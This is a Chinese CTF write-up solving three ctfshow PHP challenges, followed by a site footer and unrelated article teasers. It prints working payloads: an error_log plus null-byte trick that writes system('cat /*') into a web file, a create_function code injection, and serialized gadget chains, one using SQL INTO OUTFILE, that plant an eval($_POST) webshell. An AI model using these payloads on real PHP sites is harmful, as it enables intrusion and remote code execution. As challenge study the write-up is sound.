ctfshow 红包题

前言:

最近一直在搞java很少刷题,看见ctfshow的活动赶紧来复现一波~

ctfshow 红包挑战7

<?php
highlight_file(__FILE__);
error_reporting(2);
extract($_GET);
ini_set($name,$value);
system("ls '".filter($_GET[1])."'"
);function filter($cmd){$cmd = str_replace("'","",$cmd);$cmd = str_replace("\\","",$cmd);$cmd = str_replace("`","",$cmd);$cmd = str_replace("$","",$cmd);return $cmd;
}

代码很简单就是一个替换操作,然后一个system命令执行,变量覆盖还没想到如何利用

而且如果传参 ;则里面会显示  ls ';',所以猜测肯定是要闭合引号、或者注释字符这种

error_reporting(2); //常见的都是0 ,这里是个2很奇怪

extract($_GET);
ini_set($name,$value);   //这里肯定是修改配置的

然后只能显示 ls  /这种,没法截断和注释

(flag近在眼前,我却得不到。。。)

 只能去看佬们的文章了

先查看扩展插件

?1=/usr/local/lib/php/extensions/no-debug-non-zts-20180731/

ini_set("display_errors", "On");//打开错误提示,与题目无关,只是扩展
ini_set("error_reporting",E_ALL);//显示所有错误,与题目无关,只是扩展

ini_set("error_log",""/var/www/html/1.php");
//把报错信息写入web目录下的1.php文件中

error_reporting = E_ALL ;将会向PHP报告发生的每个错误
display_errors = Off ;不显示满足上条 指令所定义规则的所有错误报告
log_errors = On ;决定日志语句记录的位置
log_errors_max_len = 1024 ;设置每个日志项的最大长度
error_log = “你想存放日志文件的路径/php_error.log” ;指定产生的 错误报告写入的日志文件位置

知识点:

xdebug在处理截断问题的时候,会将异常payload回显。而system刚好可以用0字节(%00或者\000)进行截断来触发异常。

(涨知识了,第一次见这种通过修改报错日志的路径,然后利用截断报错写入日志

 

 /?name=error_log&value=1.php
&1=("%0C%08%00%00"^"`{ %2f")<?php system("cat /*");?>

还有佬们给出了这个wp但是没有解释

("%0C%08%00%00"^"`{ %2f")

(" "^"`{ /")但是我感觉也是%00截断报错

 红包挑战8

<?phphighlight_file(__FILE__);
error_reporting(0);extract($_GET);
create_function($name,base64_encode($value))();

那么肯定是考察create_function的用法,$name和value的值可控,但是value经过了base64编码,所以着重利用$name

先回忆一下create_function的作用

<?php$action="\create_function";
$arg="){}var_dump(scandir(\"../\"));//";
$action($arg,'');
echo ($arg);

 

 

发现这篇文章的payload就能通,为啥早点没看懂。。。

JYcxk($name)

{ base64_encode($value) } 

payload就相当于

JYcxk(){}

var_dump(scandir(\"../\"));

注释掉了后面,然后直接var_dump执行

红包挑战9

已经给出了源码那就直接分析

发现index.php中的注册可以跳转到

 

有file_put_contents方法,当时想的是能否用phar反序列化然后用C绕过wakeup,但是生成的那么一堆数据直接传肯定是不行呀。

然后接着看,发现了很多关于session的操作

 1、session里面存放对象时,会自动进行序列化,存放序列化后的字符串
2、session里面拿取对象时,会自动进行反序列化,执行对象的魔术方法

session_decode($_GET)正好是序列化的操作,$data=$_SESSION['user']是反序列化的操作

看哪里调用了getLoginName,发现在index.php中不符合前面的条件就会包含main.php,

 因为在

 需要getCookie=NULL,所以需要在用户名中加一个|这样就不等于2,会返回null

 实际测试,

 

发现序列化成功修改了文件,本来想直接修改filename然后反序列化,用C代替O绕过wakeup发现是不可行的。

 思路

就是绕过wakeup不就可以自定义那个值了嘛,或者找个提前结束的东西

 这里发现了一个die,那么让它执行到die,就会不执行wakeup直接执行destruct

然后就是构造这条链子

application::__destruct -->application::log_last_user-->mysql_helper

 

<?php
class mysql_helper{private $db;
}
class application{public $debug=true;public $loger;public $mysql;public function __construct(){$this->loger = new userLogger();$this->mysql = new mysql_helper();}
}
class userLogger{public $username='<?php eval($_POST[1]);phpinfo();?>';public $password="123456";public $filename="2.php";
}
$a = new application();
echo serialize($a);

 

 

 

看了师傅们的第二种方法是通过PDO数据库做的

果然, 没见过的东西都有trick

 题目应该是开启了PDO扩展(common.php中的mysql_helper类),用来连接数据库。

PHP中文手册->PDO_MYSQL预定义常量。查询到一个预定义常量叫PDO::MYSQL_ATTR_INIT_COMMAND。

它的描述翻译过来是:连接MySQL服务器时执行的命令(SQL语句)。将在重新连接时自动重新执行。注意,这个常量只能在构造一个新的数据库句柄时在driver_options数组中使用。
 

很纳闷我去php 手册找的时候,找不到这个常量(很奇怪)

既然能执行sql语句,

select '<?php eval($_POST[1]);phpinfo();?>' into outfile '/var/www/html/1.php'; 

 和上面基本一样也是调用pdo,只不过不用绕过wakeup了

<?php
session_start();
class mysql_helper
{public $option = array(PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?php eval(\$_POST[1]);phpinfo();?>'  into outfile '/var/www/html/1.php';");
}
class application
{public $mysql;public $debug = true;public function __construct(){$this->mysql = new mysql_helper();}
}$a = new application();
echo urlencode(serialize($a));

总结

其实这几道题都是通过php的扩展来做,还是需要多翻php文档。

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/61619.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

集合框架-(Collection/Map)

1.单列集合 1.1基础概要 集合中存储的是对象的地址信息&#xff0c;想要输出对象的信息&#xff0c;需要在具体的类中重写toString&#xff08;&#xff09;方法 Collection代表单列集合&#xff0c;每个元素数据只包含一个值 List集合&#xff1a;添加的元素可以是有序、可…

_kbhit() and getch() 在小游戏中用不了。因为控制台函数,仅在控制台程序中可用

太长不看版&#xff1a; _kbhit() and getch() 包含在conio.h中。 conio是Console Input/Output&#xff08;控制台输入输出&#xff09;的简写&#xff0c;其中定义了通过控制台进行数据输入和数据输出的函数&#xff0c;主要是一些用户通过按键盘产生的对应操作&#xff0c…

ZooKeeper技术内幕

文章目录 1、系统模型1.1、数据模型1.2、节点特性1.2.1、节点类型 1.3、版本——保证分布式数据原子性操作1.4、 Watcher——数据变更的通知1.5、ACL——保障数据的安全1.5.1、权限模式&#xff1a;Scheme1.5.2、授权对象&#xff1a;ID1.5.3、权限扩展体系 2、序列化与协议2.1…

【狂神】Spring5笔记(1-9)

目录 首页&#xff1a; 1.Spring 1.1 简介 1.2 优点 2.IOC理论推导 3.IOC本质 4.HelloSpring ERROR 5.IOC创建对象方式 5.1、无参构造 这个是默认的 5.2、有参构造 6.Spring配置说明 6.1、别名 6.2、Bean的配置 6.3、import 7.DL依赖注入环境 7.1 构造器注入 …

Pydantic 学习随笔

这里是零散的记录一些学习过程中随机的理解&#xff0c;因此这里的记录不成体系。如果是想学习 Pydantic 建议看官方文档&#xff0c;写的很详细并且成体系。如果有问题需要交流&#xff0c;欢迎私信或者评论。 siwa 报 500 Pydantic 可以和 siwa 结合使用&#xff0c;这样既…

hyperf 十五 验证器

官方文档&#xff1a;Hyperf 验证器报错需要配合多语言使用&#xff0c;创建配置自动生成对应的语言文件。 一 安装 composer require hyperf/validation:v2.2.33 composer require hyperf/translation:v2.2.33php bin/hyperf.php vendor:publish hyperf/translation php bi…

React和Redux中的不变性

https://overreacted.io/zh-hans/a-complete-guide-to-useeffect/ 一、不变性和副作用 1.不变&#xff1a;不断创造新值来替换旧值 2.不变性规则&#xff1a; &#xff08;1&#xff09;当给定相同的输入时&#xff0c;纯函数必须始终返回相同的值 &#xff08;2&#xff0…

如何利用Python代码优雅的进行文件下载

如何利用Python代码优雅的进行文件下载 一、什么是wget&#xff1f;二、使用wget.exe客户端进行文件下载三、使用Python脚本进行文件下载 欢迎学习交流&#xff01; 邮箱&#xff1a; z…1…6.com 网站&#xff1a; https://zephyrhours.github.io/ 一、什么是wget&#xff1f;…

JavaWeb_LeadNews_Day9-Redis实现用户行为

JavaWeb_LeadNews_Day9-Redis实现用户行为 网关配置点赞阅读不喜欢关注收藏文章详情-行为数据回显来源Gitee 网关配置 nacos: leadnews-app-gateway # 用户行为微服务 - id: leadnews-behavioruri: lb://leadnews-behaviorpredicates:- Path/behavior/**filters:- StripPrefi…

yolov3

yolov1 传统的算法 最主要的是先猜很多候选框&#xff0c;然后使用特征工程来提取特征&#xff08;特征向量&#xff09;,最后使用传统的机器学习工具进行训练。然而复杂的过程可能会导致引入大量的噪声&#xff0c;丢失很多信息。 从传统的可以总结出目标检测可以分为两个阶…

Java 读取TIFF JPEG GIF PNG PDF

Java 读取TIFF JPEG GIF PNG PDF 本文解决方法基于开源 tesseract 下载适合自己系统版本的tesseract &#xff0c;官网链接&#xff1a;https://digi.bib.uni-mannheim.de/tesseract/ 2. 下载之后安装&#xff0c;安装的时候选择选择语言包&#xff0c;我选择了中文和英文 3.…

提高Python并发性能 - asyncio/aiohttp介绍

在进行大规模数据采集时&#xff0c;如何提高Python爬虫的并发性能是一个关键问题。本文将向您介绍使用asyncio和aiohttp库实现异步网络请求的方法&#xff0c;并通过具体结果和结论展示它们对于优化爬虫效率所带来的效果。 1. 什么是异步编程&#xff1f; 异步编程是一种非阻…

vue使用打印组件print-js

项目场景&#xff1a; 由于甲方要求&#xff0c;项目需要打印二维码标签&#xff0c;故开发此功能 开发流程 安装包&#xff1a;npm install print-js --saveprint-js的使用 <template><div id"print" ref"print" ><p>打印内容<p&…

树的介绍(C语言版)

前言 在数据结构中树是一种很重要的数据结构&#xff0c;很多其他的数据结构和算法都是通过树衍生出来的&#xff0c;比如&#xff1a;堆&#xff0c;AVL树&#xff0c;红黑色等本质上都是一棵树&#xff0c;他们只是树的一种特殊结构&#xff0c;还有其他比如linux系统的文件系…

CocosCreator3.8研究笔记(二)windows环境 VS Code 编辑器的配置

一、设置文件显示和搜索过滤步骤 为了提高搜索效率以及文件列表中隐藏不需要显示的文件&#xff0c; VS Code 需要设置排除目录用于过滤。 比如 cocoscreator 中&#xff0c;编辑器运行时会自动生成一些目录&#xff1a;build、temp、library&#xff0c; 所以应该在搜索中排除…

代码随想录算法训练营第五十一天 | 309.最佳买卖股票时机含冷冻期,714.买卖股票的最佳时机含手续费

代码随想录算法训练营第五十一天 | 309.最佳买卖股票时机含冷冻期&#xff0c;714.买卖股票的最佳时机含手续费 309.最佳买卖股票时机含冷冻期714.买卖股票的最佳时机含手续费 309.最佳买卖股票时机含冷冻期 题目链接 视频讲解 给定一个整数数组prices&#xff0c;其中第 pric…

Mysql-索引查询相关

一、单表查询 1.1 二级索引为null 不论是普通的二级索引&#xff0c;还是唯一二级索引&#xff0c;它们的索引列对包含 NULL 值的数量并不限制&#xff0c;所以我们采用key IS NULL 这种形式的搜索条件最多只能使用 ref 的访问方法&#xff0c;而不是 const 的访问方法 1.2 c…

深入探索PHP编程:连接数据库的完整指南

深入探索PHP编程&#xff1a;连接数据库的完整指南 在现代Web开发中&#xff0c;与数据库进行交互是不可或缺的一部分。PHP作为一种强大的服务器端编程语言&#xff0c;提供了丰富的工具来连接和操作各种数据库系统。本篇教程将带您了解如何在PHP中连接数据库&#xff0c;执行…

并发编程的故事——并发之共享模型

并发之共享模型 文章目录 并发之共享模型一、多线程带来的共享问题二、解决方案三、方法中的synchronize四、变量的线程安全分析五、习题六、Monitor七、synchronize优化八、wait和notify九、sleep和wait十、park和unpark十一、重新理解线程状态十二、多把锁十三、ReentrantLoc…

Window11-Ubuntu双系统安装

一、制作Ubuntu系统盘 1.下载Ubuntu镜像源 阿里云开源镜像站&#xff1a;https://mirrors.aliyun.com/ubuntu-releases/ 清华大学开源软件镜像网站&#xff1a;https://mirrors.tuna.tsinghua.edu.cn/ubuntu-releases/ 选择想要的版本下载&#xff0c;我用的是20.04版本。 2…